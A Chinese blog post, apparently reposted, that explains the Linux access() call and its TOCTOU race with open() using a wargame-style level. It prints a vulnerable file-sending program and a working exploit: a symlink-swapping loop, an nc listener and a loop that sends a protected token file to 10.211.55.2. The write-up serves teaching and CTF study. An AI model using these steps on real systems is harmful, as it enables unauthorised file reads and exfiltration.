zoukankan      html  css  js  c++  java
  • Linux C:access()时间条件竞争漏洞

    access()函数用来检查调用进程是否可以对指定的文件执行某种操作。

    ================================================================================

    来自:https://blog.csdn.net/tigerjibo/article/details/11712039

    1.函数功能:

    检查调用进程是否可以对指定的文件执行某种操作。

    2.函数原型:

    1)函数头文件

    #include <stdio.h>
    #include <unistd.h>

    2)函数

    int access(const char * pathname, int mode)

    3)形参

    pathname:需要检测的文件路劲名

    mode:需要测试的操作模式。

    4)函数返回值说明

    成功执行时,返回0。失败返回-1,errno被设为以下的某个值 
    EINVAL: 模式值无效 
    EACCES: 文件或路径名中包含的目录不可访问 
    ELOOP : 解释路径名过程中存在太多的符号连接 
    ENAMETOOLONG:路径名太长 
    ENOENT:路径名中的目录不存在或是无效的符号连接 
    ENOTDIR: 路径名中当作目录的组件并非目录 
    EROFS: 文件系统只读 
    EFAULT: 路径名指向可访问的空间外 
    EIO:输入输出错误 
    ENOMEM: 不能获取足够的内核内存 
    ETXTBSY:对程序写入出错

    5)mode说明

    R_OK 测试读许可权
    W_OK 测试写许可权
    X_OK 测试执行许可权
    F_OK 测试文件是否存在

    ================================================================================

    常见的用法是先用access()函数判断文件是否可以操作,然后再通过open()函数对文件进行相应操作。但是这两者之前存在一个时间差,从而形成了时间条件竞争漏洞,越权读取文件。

    参考下面的代码:

    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <stdio.h>
    #include <fcntl.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <string.h>
    
    int main(int argc, char **argv)
    {
      char *file;
      char *host;
    
      if(argc < 3) {
          printf("%s file host
    	sends file to host if you have access to it
    ", argv[0]);
          exit(1);
      }
    
      file = argv[1];
      host = argv[2];
    
      if(access(argv[1], R_OK) == 0) {
          int fd;
          int ffd;
          int rc;
          struct sockaddr_in sin;
          char buffer[4096];
    
          printf("Connecting to %s:18211 .. ", host); fflush(stdout);
    
          fd = socket(AF_INET, SOCK_STREAM, 0);
    
          memset(&sin, 0, sizeof(struct sockaddr_in));
          sin.sin_family = AF_INET;
          sin.sin_addr.s_addr = inet_addr(host);
          sin.sin_port = htons(18211);
    
          if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
              printf("Unable to connect to host %s
    ", host);
              exit(EXIT_FAILURE);
          }
    
    #define HITHERE ".oO Oo.
    "
          if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
              printf("Unable to write banner to host %s
    ", host);
              exit(EXIT_FAILURE);
          }
    #undef HITHERE
    
          printf("Connected!
    Sending file .. "); fflush(stdout);
    
          ffd = open(file, O_RDONLY);
          if(ffd == -1) {
              printf("Damn. Unable to open file
    ");
              exit(EXIT_FAILURE);
          }
    
          rc = read(ffd, buffer, sizeof(buffer));
          if(rc == -1) {
              printf("Unable to read from file: %s
    ", strerror(errno));
              exit(EXIT_FAILURE);
          }
    
          write(fd, buffer, rc);
    
          printf("wrote file!
    ");
    
      } else {
          printf("You don't have access to %s
    ", file);
      }
    }

    先通过access()判断传参文件是否可读(注意:这里access()函数检查的是ruid,而不是euid),然后open()打开文件进行读取并发送数据。access()与open()之间存在时间差,且由于这里access()判断的是ruid,所以可以通过频繁改变目标文件,使得access()和open()判断的不是同一个文件,即可越权打开文件

    *****************************************************************************

    *利用方法:

    假设token文件为当前用户不可读

    1、编写脚本,将有权限与没有权限的文件循环指向同一个文件

    while true;
    do 
        ln -sf /home/flag10/token /tmp/ttt
        ln -sf /tmp/aaa /tmp/ttt
    done

    2、攻击侧监听18211端口

    while true;do nc -lvnp 18211;done

    3、执行该程序,获取文件

    while true;
    do
        /home/flag10/flag10 /tmp/ttt 10.211.55.2
    done 
  • 相关阅读:
    js正則表達式语法
    购买DigtalOcean VPS 以及 连接Linux
    UVA 246
    牵一发动全身【Nhibernate基本映射】
    jquery.validate+jquery.form提交的三种方式
    [Python] 发送email的几种方式
    递归算法浅谈
    最小二乘法多项式曲线拟合原理与实现
    王立平-Android中对图像进行Base64编码
    [置顶] EasyMock的简单使用
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/10395977.html
Copyright © 2011-2022 走看看